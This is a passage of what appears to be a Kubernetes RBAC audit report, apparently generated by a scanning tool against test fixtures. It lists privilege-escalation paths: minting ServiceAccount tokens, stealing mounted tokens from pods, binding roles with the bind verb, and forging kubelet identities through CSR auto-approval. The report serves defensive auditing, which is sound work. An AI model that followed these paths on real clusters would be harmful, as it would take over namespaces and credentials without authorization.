    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin score 7.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via TokenRequest minting → RoleBinding write access plus bind.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cutres/cutres-detour
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin score 7.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via TokenRequest minting → RoleBinding write access plus bind.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin score 7.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via TokenRequest minting → RoleBinding write access plus bind.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Workload creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cutres/cutres-detour
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Workload creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches namespace-admin in 2 hops via Workload creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/vulnerable/privileged-reader → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/vulnerable/privileged-reader → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/vulnerable/privileged-reader → namespace-admin score 7.0 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches namespace-admin in 2 hops via Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → namespace-admin score 6.8 4 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches namespace-admin in 4 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → namespace-admin score 6.8 4 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches namespace-admin in 4 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → namespace-admin score 6.8 4 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches namespace-admin in 4 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
